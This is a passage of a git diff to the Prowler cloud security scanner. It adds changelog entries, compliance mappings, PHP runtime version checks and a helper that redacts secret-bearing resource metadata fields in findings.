+Azure App Service runtime checks (`app_ensure_php_version_is_latest`, `app_ensure_python_version_is_latest`, `app_ensure_java_version_is_latest`) now pass any runtime at or above the configured minimum instead of failing every version newer than the configured one
diff --git a/prowler/changelog.d/azure-php-latest-version-8-5.changed.md b/prowler/changelog.d/azure-php-latest-version-8-5.changed.md
new file mode 100644
index 0000000000..61bef33839
--- /dev/null
+++ b/prowler/changelog.d/azure-php-latest-version-8-5.changed.md
@@ -0,0 +1 @@
+Default `php_latest_version` for `app_ensure_php_version_is_latest` raised from `8.2` to `8.5`, the newest PHP runtime on Azure App Service for Linux, following the PHP2Shell (CVE-2026-109618, CVE-2026-109619) security release
diff --git a/prowler/changelog.d/bedrock-api-key-never-expiring-skipped.fixed.md b/prowler/changelog.d/bedrock-api-key-never-expiring-skipped.fixed.md
new file mode 100644
index 0000000000..bf86185feb
--- /dev/null
+++ b/prowler/changelog.d/bedrock-api-key-never-expiring-skipped.fixed.md
@@ -0,0 +1 @@
+`bedrock_api_key_no_long_term_credentials` now reports a Bedrock long-term API key that never expires; IAM only returns `ExpirationDate` for keys created with an expiration period, so keys created without one were skipped and produced no finding at all
diff --git a/prowler/changelog.d/bedrock-guardrail-sensitive-information-enforced.added.md b/prowler/changelog.d/bedrock-guardrail-sensitive-information-enforced.added.md
new file mode 100644
index 0000000000..8aca193462
--- /dev/null
+++ b/prowler/changelog.d/bedrock-guardrail-sensitive-information-enforced.added.md
@@ -0,0 +1 @@
+`bedrock_guardrail_sensitive_information_filter_enforced` check for AWS provider, flagging Bedrock guardrails whose PII entities or custom regexes take no action on the output path, so a detected match is reported in the trace and still delivered to the caller
diff --git a/prowler/changelog.d/bedrock-model-invocation-logging-text-data.added.md b/prowler/changelog.d/bedrock-model-invocation-logging-text-data.added.md
new file mode 100644
index 0000000000..3692fb3bc7
--- /dev/null
+++ b/prowler/changelog.d/bedrock-model-invocation-logging-text-data.added.md
@@ -0,0 +1 @@
+`bedrock_model_invocation_logging_text_data_enabled` check for AWS provider, verifying that model invocation logging delivers prompt and response text rather than naming a destination while excluding request and response bodies
diff --git a/prowler/changelog.d/cognito-user-pool-account-recovery-sms-not-preferred.added.md b/prowler/changelog.d/cognito-user-pool-account-recovery-sms-not-preferred.added.md
new file mode 100644
index 0000000000..7a8deb4082
--- /dev/null
+++ b/prowler/changelog.d/cognito-user-pool-account-recovery-sms-not-preferred.added.md
@@ -0,0 +1 @@
+`cognito_user_pool_account_recovery_sms_not_preferred` check verifying Cognito user pools do not rank SMS first for account recovery
diff --git a/prowler/changelog.d/gcp-appengine-php-runtime-supported.added.md b/prowler/changelog.d/gcp-appengine-php-runtime-supported.added.md
new file mode 100644
index 0000000000..c6579fa87f
--- /dev/null
+++ b/prowler/changelog.d/gcp-appengine-php-runtime-supported.added.md
@@ -0,0 +1 @@
+`appengine` GCP service and `appengine_version_php_runtime_supported` check to flag App Engine serving versions on PHP runtimes without security fixes
diff --git a/prowler/changelog.d/gcp-vertexai-workbench-mlde-checks.added.md b/prowler/changelog.d/gcp-vertexai-workbench-mlde-checks.added.md
new file mode 100644
index 0000000000..193e9925ef
--- /dev/null
+++ b/prowler/changelog.d/gcp-vertexai-workbench-mlde-checks.added.md
@@ -0,0 +1 @@
+`vertexai_workbench_instance_terminal_access_disabled`, `vertexai_workbench_instance_file_download_disabled` and `vertexai_workbench_instance_auto_upgrade_enabled` checks for GCP provider, with Vertex AI Workbench checks mapped to CCC MLDE requirements
diff --git a/prowler/changelog.d/googleworkspace-drive-desktop-remediation.fixed.md b/prowler/changelog.d/googleworkspace-drive-desktop-remediation.fixed.md
new file mode 100644
index 0000000000..16eafd22e7
--- /dev/null
+++ b/prowler/changelog.d/googleworkspace-drive-desktop-remediation.fixed.md
@@ -0,0 +1 @@
+`drive_desktop_access_disabled` remediation steps for Google Workspace now point to the Google Drive for desktop card in the Admin console instead of Features and Applications
diff --git a/prowler/changelog.d/googleworkspace-drive-publishing-mode.fixed.md b/prowler/changelog.d/googleworkspace-drive-publishing-mode.fixed.md
new file mode 100644
index 0000000000..0dfc6acff2
--- /dev/null
+++ b/prowler/changelog.d/googleworkspace-drive-publishing-mode.fixed.md
@@ -0,0 +1 @@
+Google Workspace `drive_publishing_files_disabled` passes when sharing outside the organization is limited to allowlisted domains or off, since publishing to the web only exists with sharing on
diff --git a/prowler/changelog.d/googleworkspace-edition-rationale.added.md b/prowler/changelog.d/googleworkspace-edition-rationale.added.md
new file mode 100644
index 0000000000..d4ffbd9e69
--- /dev/null
+++ b/prowler/changelog.d/googleworkspace-edition-rationale.added.md
@@ -0,0 +1 @@
+Google Workspace findings state when a feature is not sold on the tenant edition: Drive DLP rules, Google session control and the shared drive sharing settings on Business Starter; reading editions needs the optional `apps.licensing` scope
diff --git a/prowler/changelog.d/googleworkspace-gmail-spoofing-fields.fixed.md b/prowler/changelog.d/googleworkspace-gmail-spoofing-fields.fixed.md
new file mode 100644
index 0000000000..7ec9c0e189
--- /dev/null
+++ b/prowler/changelog.d/googleworkspace-gmail-spoofing-fields.fixed.md
@@ -0,0 +1 @@
+Gmail spoofing checks read each protection action from its own Policy API field; the inbound domain spoofing check could never pass and the similar domain names check reported the inbound action
diff --git a/prowler/changelog.d/googleworkspace-policy-precedence.fixed.md b/prowler/changelog.d/googleworkspace-policy-precedence.fixed.md
new file mode 100644
index 0000000000..20f08f766f
--- /dev/null
+++ b/prowler/changelog.d/googleworkspace-policy-precedence.fixed.md
@@ -0,0 +1 @@
+Google Workspace checks now read the policy Google applies (greatest sortOrder) instead of the last policy the Cloud Identity Policy API lists, which reported default values over admin-configured ones
diff --git a/prowler/changelog.d/googleworkspace-service-off.changed.md b/prowler/changelog.d/googleworkspace-service-off.changed.md
new file mode 100644
index 0000000000..a1c578750f
--- /dev/null
+++ b/prowler/changelog.d/googleworkspace-service-off.changed.md
@@ -0,0 +1 @@
+Google Workspace checks for Chat, Drive, Gmail, Calendar and Groups pass with the reason stated when the app is turned off for everyone and no organizational unit or group turns it back on. The rule covers settings that only act while the app is on: Drive sharing settings and the settings of existing groups keep being evaluated because existing shares and groups stay reachable, and only group creation is exempt when Groups for Business is off
diff --git a/prowler/changelog.d/redact-secret-fields-resource-metadata.security.md b/prowler/changelog.d/redact-secret-fields-resource-metadata.security.md
new file mode 100644
index 0000000000..66daa56e5e
--- /dev/null
+++ b/prowler/changelog.d/redact-secret-fields-resource-metadata.security.md
@@ -0,0 +1 @@
+Resource metadata attached to findings no longer carries the values that secrets checks scan (CloudFormation outputs, Lambda environment variables, EC2 user data and similar fields); they are replaced with `REDACTED` before reaching the Evidence tab, the API and the output files
diff --git a/prowler/changelog.d/sdk-image-certifi-aiohttp-uv-trivy.security.md b/prowler/changelog.d/sdk-image-certifi-aiohttp-uv-trivy.security.md
new file mode 100644
index 0000000000..d6784ea3a6
--- /dev/null
+++ b/prowler/changelog.d/sdk-image-certifi-aiohttp-uv-trivy.security.md
@@ -0,0 +1 @@
+certifi to 2026.10.19 and aiohttp to 3.14.5 with yarl 1.25.1 in the SDK, plus uv 0.13.4 and Trivy 0.76.1 in its container image, patching the compromised emSign root CAs bundled in certifi and uv, the aiohttp resource exhaustion advisories and the Go 1.27.2 stdlib CVE in the Trivy binary
diff --git a/prowler/compliance/aws/asd_essential_eight_aws.json b/prowler/compliance/aws/asd_essential_eight_aws.json
index dd39c44268..1818d0d1b9 100644
--- a/prowler/compliance/aws/asd_essential_eight_aws.json
+++ b/prowler/compliance/aws/asd_essential_eight_aws.json
@@ -123,7 +123,8 @@
"inspector2_active_findings_exist",
"awslambda_function_using_supported_runtimes",
"rds_instance_deprecated_engine_version",
- "rds_instance_extended_support"
+ "rds_instance_extended_support",
+ "elasticbeanstalk_environment_php_platform_updated"
],
"Attributes": [
{
@@ -160,7 +161,8 @@
"redshift_cluster_automatic_upgrades",
"kafka_cluster_uses_latest_version",
"opensearch_service_domains_updated_to_the_latest_service_software_version",
- "ecs_service_fargate_latest_platform_version"
+ "ecs_service_fargate_latest_platform_version",
+ "elasticbeanstalk_environment_php_platform_updated"
],
"Attributes": [
{
@@ -215,7 +217,8 @@
"eks_cluster_uses_a_supported_version",
"ecs_service_fargate_latest_platform_version",
"kafka_cluster_uses_latest_version",
- "opensearch_service_domains_updated_to_the_latest_service_software_version"
+ "opensearch_service_domains_updated_to_the_latest_service_software_version",
+ "elasticbeanstalk_environment_php_platform_updated"
],
"Attributes": [
{
diff --git a/prowler/compliance/aws/aws_ai_security_framework_aws.json b/prowler/compliance/aws/aws_ai_security_framework_aws.json
index ceac752ff8..3c05fddf5a 100644
--- a/prowler/compliance/aws/aws_ai_security_framework_aws.json
+++ b/prowler/compliance/aws/aws_ai_security_framework_aws.json
@@ -60,7 +60,8 @@
"wafv2_webacl_logging_enabled",
"wafv2_webacl_rule_logging_enabled",
"apigateway_restapi_waf_acl_attached",
- "cognito_user_pool_waf_acl_attached"
+ "cognito_user_pool_waf_acl_attached",
+ "wafv2_webacl_managed_rule_groups_enabled"
]
},
{
@@ -552,7 +553,8 @@
}
],
"Checks": [
- "bedrock_guardrail_sensitive_information_filter_enabled"
+ "bedrock_guardrail_sensitive_information_filter_enabled",
+ "bedrock_guardrail_sensitive_information_filter_enforced"
]
},
{
@@ -585,6 +587,7 @@
],
"Checks": [
"bedrock_model_invocation_logging_enabled",
+ "bedrock_model_invocation_logging_text_data_enabled",
"bedrock_model_invocation_logs_encryption_enabled"
]
},
diff --git a/prowler/compliance/aws/c5_aws.json b/prowler/compliance/aws/c5_aws.json
index 46b4ee0ed1..98ea04efd6 100644
--- a/prowler/compliance/aws/c5_aws.json
+++ b/prowler/compliance/aws/c5_aws.json
@@ -5142,7 +5142,8 @@
"ssm_managed_compliant_patching",
"elasticache_redis_cluster_auto_minor_version_upgrades",
"codeartifact_packages_external_public_publishing_disabled",
- "elasticbeanstalk_environment_managed_updates_enabled"
+ "elasticbeanstalk_environment_managed_updates_enabled",
+ "elasticbeanstalk_environment_php_platform_updated"
]
},
{
diff --git a/prowler/compliance/aws/kisa_isms_p_2023_aws.json b/prowler/compliance/aws/kisa_isms_p_2023_aws.json
index b15d98c635..3cf7696dc7 100644
--- a/prowler/compliance/aws/kisa_isms_p_2023_aws.json
+++ b/prowler/compliance/aws/kisa_isms_p_2023_aws.json
@@ -2856,7 +2856,8 @@
"waf_regional_webacl_with_rules",
"wafv2_webacl_logging_enabled",
"wafv2_webacl_rule_logging_enabled",
- "wafv2_webacl_with_rules"
+ "wafv2_webacl_with_rules",
+ "wafv2_webacl_managed_rule_groups_enabled"
],
"ConfigRequirements": [
{
@@ -3619,7 +3620,8 @@
"rds_instance_deprecated_engine_version",
"rds_instance_minor_version_upgrade_enabled",
"redshift_cluster_automatic_upgrades",
- "ssm_managed_compliant_patching"
+ "ssm_managed_compliant_patching",
+ "elasticbeanstalk_environment_php_platform_updated"
],
"Attributes": [
{
diff --git a/prowler/compliance/aws/kisa_isms_p_2023_korean_aws.json b/prowler/compliance/aws/kisa_isms_p_2023_korean_aws.json
index e9a871b85c..61a1983911 100644
--- a/prowler/compliance/aws/kisa_isms_p_2023_korean_aws.json
+++ b/prowler/compliance/aws/kisa_isms_p_2023_korean_aws.json
@@ -2859,7 +2859,8 @@
"waf_regional_webacl_with_rules",
"wafv2_webacl_logging_enabled",
"wafv2_webacl_rule_logging_enabled",
- "wafv2_webacl_with_rules"
+ "wafv2_webacl_with_rules",
+ "wafv2_webacl_managed_rule_groups_enabled"
],
"ConfigRequirements": [
{
@@ -3622,7 +3623,8 @@
"rds_instance_deprecated_engine_version",
"rds_instance_minor_version_upgrade_enabled",
"redshift_cluster_automatic_upgrades",
- "ssm_managed_compliant_patching"
+ "ssm_managed_compliant_patching",
+ "elasticbeanstalk_environment_php_platform_updated"
],
"Attributes": [
{
diff --git a/prowler/compliance/aws/nis2_aws.json b/prowler/compliance/aws/nis2_aws.json
index f1f8f28daa..d60c92d567 100644
--- a/prowler/compliance/aws/nis2_aws.json
+++ b/prowler/compliance/aws/nis2_aws.json
@@ -1128,7 +1128,8 @@
"Description": "requirements regarding security updates throughout the entire lifetime of the ICT services or ICT products, or replacement after the end of the support period;",
"Checks": [
"elasticbeanstalk_environment_managed_updates_enabled",
- "opensearch_service_domains_updated_to_the_latest_service_software_version"
+ "opensearch_service_domains_updated_to_the_latest_service_software_version",
+ "elasticbeanstalk_environment_php_platform_updated"
],
"Attributes": [
{
@@ -1253,7 +1254,8 @@
"memorydb_cluster_auto_minor_version_upgrades",
"elasticbeanstalk_environment_managed_updates_enabled",
"elasticache_redis_cluster_auto_minor_version_upgrades",
- "glue_development_endpoints_job_bookmark_encryption_enabled"
+ "glue_development_endpoints_job_bookmark_encryption_enabled",
+ "elasticbeanstalk_environment_php_platform_updated"
],
"Attributes": [
{
diff --git a/prowler/compliance/cis_controls_8.1.json b/prowler/compliance/cis_controls_8.1.json
index c03d9e806b..6295e0a23f 100644
--- a/prowler/compliance/cis_controls_8.1.json
+++ b/prowler/compliance/cis_controls_8.1.json
@@ -280,7 +280,11 @@
"ec2_instance_with_outdated_ami",
"eks_cluster_uses_a_supported_version",
"kafka_cluster_uses_latest_version",
- "rds_instance_deprecated_engine_version"
+ "rds_instance_deprecated_engine_version",
+ "elasticbeanstalk_environment_php_platform_updated"
+ ],
+ "gcp": [
+ "appengine_version_php_runtime_supported"
]
}
},
@@ -3717,7 +3721,8 @@
"waf_regional_rule_with_conditions",
"waf_regional_rulegroup_not_empty",
"waf_regional_webacl_with_rules",
- "wafv2_webacl_with_rules"
+ "wafv2_webacl_with_rules",
+ "wafv2_webacl_managed_rule_groups_enabled"
],
"cloudflare": [
"dns_record_proxied",
diff --git a/prowler/compliance/csa_ccm_4.0.json b/prowler/compliance/csa_ccm_4.0.json
index 1cb7428e51..174a4ef35c 100644
--- a/prowler/compliance/csa_ccm_4.0.json
+++ b/prowler/compliance/csa_ccm_4.0.json
@@ -6363,7 +6363,8 @@
"cloudfront_distributions_using_waf",
"guardduty_is_enabled",
"shield_advanced_protection_in_cloudfront_distributions",
- "shield_advanced_protection_in_internet_facing_load_balancers"
+ "shield_advanced_protection_in_internet_facing_load_balancers",
+ "wafv2_webacl_managed_rule_groups_enabled"
],
"azure": [
"defender_ensure_defender_for_arm_is_on",
@@ -8481,7 +8482,8 @@
"memorydb_cluster_auto_minor_version_upgrades",
"mq_broker_auto_minor_version_upgrades",
"opensearch_service_domains_updated_to_the_latest_service_software_version",
- "kafka_cluster_uses_latest_version"
+ "kafka_cluster_uses_latest_version",
+ "elasticbeanstalk_environment_php_platform_updated"
],
"azure": [
"app_ensure_java_version_is_latest",
@@ -8492,6 +8494,9 @@
],
"alibabacloud": [
"ecs_instance_latest_os_patches_applied"
+ ],
+ "gcp": [
+ "appengine_version_php_runtime_supported"
]
}
},
diff --git a/prowler/compliance/fedramp_20x_ksi_2026.json b/prowler/compliance/fedramp_20x_ksi_2026.json
index b893675faf..6f71485a07 100644
--- a/prowler/compliance/fedramp_20x_ksi_2026.json
+++ b/prowler/compliance/fedramp_20x_ksi_2026.json
@@ -354,7 +354,8 @@
"kafka_cluster_uses_latest_version",
"opensearch_service_domains_updated_to_the_latest_service_software_version",
"rds_instance_deprecated_engine_version",
- "wellarchitected_workload_no_high_or_medium_risks"
+ "wellarchitected_workload_no_high_or_medium_risks",
+ "elasticbeanstalk_environment_php_platform_updated"
],
"azure": [],
"gcp": [],
@@ -718,7 +719,8 @@
"waf_regional_rule_with_conditions",
"waf_regional_rulegroup_not_empty",
"waf_regional_webacl_with_rules",
- "wafv2_webacl_with_rules"
+ "wafv2_webacl_with_rules",
+ "wafv2_webacl_managed_rule_groups_enabled"
],
"azure": [
"network_vnet_ddos_protection_enabled",
@@ -1756,7 +1758,8 @@
"ecr_registry_enhanced_scanning_enabled",
"inspector2_active_findings_exist",
"inspector2_is_enabled",
- "ssm_managed_compliant_patching"
+ "ssm_managed_compliant_patching",
+ "elasticbeanstalk_environment_php_platform_updated"
],
"azure": [
"app_ensure_java_version_is_latest",
@@ -1765,7 +1768,9 @@
"app_function_latest_runtime_version",
"defender_ensure_system_updates_are_applied"
],
- "gcp": [],
+ "gcp": [
+ "appengine_version_php_runtime_supported"
+ ],
"kubernetes": [],
"m365": []
},
diff --git a/prowler/compliance/gcp/c5_gcp.json b/prowler/compliance/gcp/c5_gcp.json
index e9d8b15b17..4c1666d214 100644
--- a/prowler/compliance/gcp/c5_gcp.json
+++ b/prowler/compliance/gcp/c5_gcp.json
@@ -4427,7 +4427,9 @@
"ComplementaryCriteria": ""
}
],
- "Checks": []
+ "Checks": [
+ "appengine_version_php_runtime_supported"
+ ]
},
{
"Id": "OPS-33.01AS",
diff --git a/prowler/compliance/gcp/ccc_gcp.json b/prowler/compliance/gcp/ccc_gcp.json
index 520b6b534a..30c4c36481 100644
--- a/prowler/compliance/gcp/ccc_gcp.json
+++ b/prowler/compliance/gcp/ccc_gcp.json
@@ -6815,7 +6815,9 @@
]
}
],
- "Checks": []
+ "Checks": [
+ "vertexai_workbench_instance_root_access_disabled"
+ ]
},
{
"Id": "CCC.MLDE.CN03.AR02",
@@ -6871,7 +6873,9 @@
]
}
],
- "Checks": []
+ "Checks": [
+ "vertexai_workbench_instance_root_access_disabled"
+ ]
},
{
"Id": "CCC.MLDE.CN04.AR01",
@@ -6923,7 +6927,9 @@
]
}
],
- "Checks": []
+ "Checks": [
+ "vertexai_workbench_instance_terminal_access_disabled"
+ ]
},
{
"Id": "CCC.MLDE.CN04.AR02",
@@ -6978,7 +6984,9 @@
]
}
],
- "Checks": []
+ "Checks": [
+ "vertexai_workbench_instance_terminal_access_disabled"
+ ]
},
{
"Id": "CCC.MLDE.CN02.AR01",
@@ -7033,7 +7041,9 @@
]
}
],
- "Checks": []
+ "Checks": [
+ "vertexai_workbench_instance_file_download_disabled"
+ ]
},
{
"Id": "CCC.MLDE.CN02.AR02",
@@ -7250,7 +7260,9 @@
]
}
],
- "Checks": []
+ "Checks": [
+ "vertexai_workbench_instance_auto_upgrade_enabled"
+ ]
},
{
"Id": "CCC.MLDE.CN06.AR02",
@@ -7360,7 +7372,9 @@
]
}
],
- "Checks": []
+ "Checks": [
+ "vertexai_workbench_instance_public_ip_disabled"
+ ]
},
{
"Id": "CCC.MLDE.CN07.AR02",
@@ -7416,7 +7430,9 @@
]
}
],
- "Checks": []
+ "Checks": [
+ "vertexai_workbench_instance_public_ip_disabled"
+ ]
},
{
"Id": "CCC.MLDE.CN08.AR01",
diff --git a/prowler/compliance/gcp/nis2_gcp.json b/prowler/compliance/gcp/nis2_gcp.json
index ba6fb849c3..566d9938b7 100644
--- a/prowler/compliance/gcp/nis2_gcp.json
+++ b/prowler/compliance/gcp/nis2_gcp.json
@@ -656,7 +656,8 @@
"apikeys_api_restrictions_configured",
"apikeys_key_rotated_in_90_days",
"artifacts_container_analysis_enabled",
- "bigquery_dataset_cmk_encryption"
+ "bigquery_dataset_cmk_encryption",
+ "appengine_version_php_runtime_supported"
],
"Attributes": [
{
@@ -733,7 +734,8 @@
"Checks": [
"compute_instance_shielded_vm_enabled",
"gcr_container_scanning_enabled",
- "artifacts_container_analysis_enabled"
+ "artifacts_container_analysis_enabled",
+ "appengine_version_php_runtime_supported"
],
"Attributes": [
{
diff --git a/prowler/compliance/gcp/rbi_cyber_security_framework_gcp.json b/prowler/compliance/gcp/rbi_cyber_security_framework_gcp.json
index e86aee6e63..efaeed929a 100644
--- a/prowler/compliance/gcp/rbi_cyber_security_framework_gcp.json
+++ b/prowler/compliance/gcp/rbi_cyber_security_framework_gcp.json
@@ -81,7 +81,8 @@
"compute_instance_shielded_vm_enabled",
"compute_project_os_login_enabled",
"artifacts_container_analysis_enabled",
- "gcr_container_scanning_enabled"
+ "gcr_container_scanning_enabled",
+ "appengine_version_php_runtime_supported"
]
},
{
diff --git a/prowler/config/config.yaml b/prowler/config/config.yaml
index 0c7551d634..621466228b 100644
--- a/prowler/config/config.yaml
+++ b/prowler/config/config.yaml
@@ -139,6 +139,28 @@ aws:
# aws.appstream_fleet_maximum_session_duration
max_session_duration_seconds: 36000 # 10 Hours
+ # AWS Elastic Beanstalk Configuration
+ # aws.elasticbeanstalk_environment_php_platform_updated
+ # Oldest PHP branch still receiving security fixes
+ elasticbeanstalk_php_min_branch: "8.2"
+ # Oldest Amazon Linux 2023 PHP platform version bundling the fixed PHP release
+ elasticbeanstalk_php_min_platform_version: "4.13.13"
+
+ # AWS Lightsail Configuration
+ # aws.lightsail_instance_php_blueprint_updated
+ # Blueprint id prefixes that ship PHP and require manual runtime verification
+ lightsail_php_blueprints:
+ [
+ "wordpress",
+ "lamp",
+ "nginx",
+ "drupal",
+ "joomla",
+ "magento",
+ "prestashop",
+ "plesk",
+ "cpanel",
+ ]
# AWS Lambda Configuration
# aws.awslambda_function_using_supported_runtimes
obsolete_lambda_runtimes:
@@ -550,8 +572,9 @@ azure:
defender_attack_path_minimal_risk_level: "High"
# Azure App Service
+ # Minimum runtime versions; any newer version passes
# azure.app_ensure_php_version_is_latest
- php_latest_version: "8.2"
+ php_latest_version: "8.5"
# azure.app_ensure_python_version_is_latest
python_latest_version: "3.12"
# azure.app_ensure_java_version_is_latest
@@ -650,6 +673,10 @@ gcp:
# GCP Secret Manager Rotation Period
# gcp.secretmanager_secret_rotation_enabled
secretmanager_max_rotation_days: 90
+ # GCP App Engine PHP runtime
+ # gcp.appengine_version_php_runtime_supported
+ # Oldest PHP branch still receiving security fixes
+ appengine_php_min_version: "8.2"
# Kubernetes Configuration
kubernetes:
diff --git a/prowler/config/schema/aws.py b/prowler/config/schema/aws.py
index c46d848650..d7ab9cf2c6 100644
--- a/prowler/config/schema/aws.py
+++ b/prowler/config/schema/aws.py
@@ -88,6 +88,8 @@ _validate_trusted_ips = validate_ip_networks
_validate_semver = make_dotted_version_validator(3, 3)
# "1.28" style strings (EKS minor versions).
_validate_eks_minor = make_dotted_version_validator(2, 2)
+_validate_php_branch = make_dotted_version_validator(2, 2)
+_validate_platform_version = make_dotted_version_validator(3, 3)
def _validate_account_ids(v: Optional[list[str]]) -> Optional[list[str]]:
@@ -309,6 +311,20 @@ class AWSProviderConfig(ProviderConfigBase):
),
)
+ # --- Elastic Beanstalk ------------------------------------------------
+ elasticbeanstalk_php_min_branch: Annotated[
+ Optional[str], AfterValidator(_validate_php_branch)
+ ] = Field(
+ default=None,
+ description='Oldest PHP branch still receiving security fixes, e.g. "8.2".',
+ )
+ elasticbeanstalk_php_min_platform_version: Annotated[
+ Optional[str], AfterValidator(_validate_platform_version)
+ ] = Field(
+ default=None,
+ description='Oldest Amazon Linux 2023 PHP platform version bundling the fixed PHP release, e.g. "4.13.13".',
+ )
+
# --- Lambda -----------------------------------------------------------
obsolete_lambda_runtimes: Optional[list[str]] = None
lambda_min_azs: Optional[int] = Field(
@@ -318,6 +334,12 @@ class AWSProviderConfig(ProviderConfigBase):
description="Min number of AZs a VPC-bound Lambda must span. Range: 1..6.",
)
+ # --- Lightsail --------------------------------------------------------
+ lightsail_php_blueprints: Optional[list[str]] = Field(
+ default=None,
+ description="Blueprint id prefixes that ship PHP and require manual runtime verification.",
+ )
+
# --- Organizations ----------------------------------------------------
organizations_enabled_regions: Optional[list[str]] = None
organizations_trusted_delegated_administrators: Annotated[
diff --git a/prowler/config/schema/azure.py b/prowler/config/schema/azure.py
index 75954c602b..e9253f04c4 100644
--- a/prowler/config/schema/azure.py
+++ b/prowler/config/schema/azure.py
@@ -36,7 +36,7 @@ class AzureProviderConfig(ProviderConfigBase):
# --- App Service ----------------------------------------------------
php_latest_version: Annotated[
Optional[str], AfterValidator(_validate_dotted_version)
- ] = Field(default=None, description='PHP minimum acceptable version, e.g. "8.2".')
+ ] = Field(default=None, description='PHP minimum acceptable version, e.g. "8.5".')
python_latest_version: Annotated[
Optional[str], AfterValidator(_validate_dotted_version)
] = Field(
diff --git a/prowler/config/schema/gcp.py b/prowler/config/schema/gcp.py
index 59e1a162fa..1974f81f39 100644
--- a/prowler/config/schema/gcp.py
+++ b/prowler/config/schema/gcp.py
@@ -1,10 +1,13 @@
"""GCP provider config schema with safety bounds."""
-from typing import Optional
+from typing import Annotated, Optional
-from pydantic import Field
+from pydantic import AfterValidator, Field
from prowler.config.schema.base import ProviderConfigBase
+from prowler.config.schema.validators import make_dotted_version_validator
+
+_validate_php_branch = make_dotted_version_validator(2, 2)
class GCPProviderConfig(ProviderConfigBase):
@@ -43,3 +46,11 @@ class GCPProviderConfig(ProviderConfigBase):
le=3650,
description="Min retention period on Cloud Storage buckets. Range: 1..3650.",
)
+
+ # --- App Engine -----------------------------------------------------
+ appengine_php_min_version: Annotated[
+ Optional[str], AfterValidator(_validate_php_branch)
+ ] = Field(
+ default=None,
+ description='Oldest PHP branch still receiving security fixes, e.g. "8.2".',
+ )
diff --git a/prowler/lib/check/models.py b/prowler/lib/check/models.py
index bd346ad8b3..67018dd212 100644
--- a/prowler/lib/check/models.py
+++ b/prowler/lib/check/models.py
@@ -12,6 +12,7 @@ from pydantic.v1 import BaseModel, Field, ValidationError, validator
from pydantic.v1.error_wrappers import ErrorWrapper
from prowler.lib.check.compliance_models import Compliance
+from prowler.lib.check.redact import redact_sensitive_fields
from prowler.lib.check.utils import recover_checks_from_provider
from prowler.lib.logger import logger
from prowler.providers.common.provider import Provider as ProviderABC
@@ -747,6 +748,7 @@ class Check_Report:
f"Resource metadata {type(resource)} in {self.check_metadata.CheckID} could not be converted to dict"
)
self.resource = {}
+ self.resource = redact_sensitive_fields(resource, self.resource)
self.status_extended = ""
self.resource_details = ""
self.resource_tags = getattr(resource, "tags", []) if resource else []
diff --git a/prowler/lib/check/redact.py b/prowler/lib/check/redact.py
new file mode 100644
index 0000000000..b70a6ecf02
--- /dev/null
+++ b/prowler/lib/check/redact.py
@@ -0,0 +1,43 @@
+from typing import Any
+
+REDACTED_VALUE = "REDACTED"
+
+
+def _mask(value: Any) -> Any:
+ """Replace every leaf of value with REDACTED_VALUE, keeping dict keys and list lengths."""
+ if value is None or value == "" or value == [] or value == {}:
+ return value
+ if isinstance(value, dict):
+ return {key: _mask(item) for key, item in value.items()}
+ if isinstance(value, (list, tuple)):
+ return [_mask(item) for item in value]
+ return REDACTED_VALUE
+
+
+def redact_sensitive_fields(resource: Any, data: Any) -> Any:
+ """Return data, the serialised form of resource, with the fields each model lists in sensitive_fields masked."""
+ if isinstance(data, dict):
+ if isinstance(resource, dict):
+ return {
+ key: redact_sensitive_fields(resource.get(key), item)
+ for key, item in data.items()
+ }
+ sensitive = getattr(type(resource), "sensitive_fields", ())
+ return {
+ key: (
+ _mask(item)
+ if key in sensitive
+ else redact_sensitive_fields(getattr(resource, key, None), item)
+ )
+ for key, item in data.items()
+ }
+ if (
+ isinstance(data, list)
+ and isinstance(resource, (list, tuple))
+ and len(data) == len(resource)
+ ):
+ return [
+ redact_sensitive_fields(item_resource, item)
+ for item_resource, item in zip(resource, data)
+ ]
+ return data
diff --git a/prowler/providers/aws/services/amplify/amplify_service.py b/prowler/providers/aws/services/amplify/amplify_service.py
index 1a80f9ebd3..235a7f0913 100644
--- a/prowler/providers/aws/services/amplify/amplify_service.py
+++ b/prowler/providers/aws/services/amplify/amplify_service.py
@@ -1,3 +1,5 @@
+from typing import ClassVar
+
from botocore.exceptions import ClientError
from pydantic.v1 import BaseModel, Field
@@ -11,6 +13,7 @@ class Branch(BaseModel):
name: str
arn: str
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("environment_variables",)
environment_variables: dict = Field(default_factory=dict)
@@ -21,6 +24,10 @@ class App(BaseModel):
name: str
arn: str
region: str
+ sensitive_fields: ClassVar[tuple[str, ...]] = (
+ "environment_variables",
+ "build_spec",
+ )
environment_variables: dict = Field(default_factory=dict)
build_spec: str = ""
branches: list[Branch] = Field(default_factory=list)
diff --git a/prowler/providers/aws/services/apigateway/apigateway_service.py b/prowler/providers/aws/services/apigateway/apigateway_service.py
index 94f7d86b8d..500be4b736 100644
--- a/prowler/providers/aws/services/apigateway/apigateway_service.py
+++ b/prowler/providers/aws/services/apigateway/apigateway_service.py
@@ -1,4 +1,4 @@
-from typing import Any, Optional
+from typing import Any, ClassVar, Optional
from botocore.exceptions import ClientError
from pydantic.v1 import BaseModel
@@ -266,6 +266,7 @@ class Stage(BaseModel):
tracing_enabled: Optional[bool] = None
cache_enabled: Optional[bool] = None
cache_data_encrypted: Optional[bool] = None
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("variables",)
variables: Optional[dict] = {}
diff --git a/prowler/providers/aws/services/autoscaling/autoscaling_service.py b/prowler/providers/aws/services/autoscaling/autoscaling_service.py
index 2cafc84056..d3f830966a 100644
--- a/prowler/providers/aws/services/autoscaling/autoscaling_service.py
+++ b/prowler/providers/aws/services/autoscaling/autoscaling_service.py
@@ -1,3 +1,5 @@
+from typing import ClassVar
+
from pydantic.v1 import BaseModel
from prowler.lib.logger import logger
@@ -155,6 +157,7 @@ class ApplicationAutoScaling(AWSService):
class LaunchConfiguration(BaseModel):
arn: str
name: str
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("user_data",)
user_data: str
image_id: str
region: str
diff --git a/prowler/providers/aws/services/awslambda/awslambda_service.py b/prowler/providers/aws/services/awslambda/awslambda_service.py
index aeb55e4690..3d86e2afe5 100644
--- a/prowler/providers/aws/services/awslambda/awslambda_service.py
+++ b/prowler/providers/aws/services/awslambda/awslambda_service.py
@@ -3,7 +3,7 @@ import json
import zipfile
from concurrent.futures import as_completed
from enum import Enum
-from typing import Any, Optional
+from typing import Any, ClassVar, Optional
import requests
from botocore.client import ClientError
@@ -404,6 +404,7 @@ class Function(BaseModel):
security_groups: list
last_modified: Optional[str] = None
runtime: Optional[str] = None
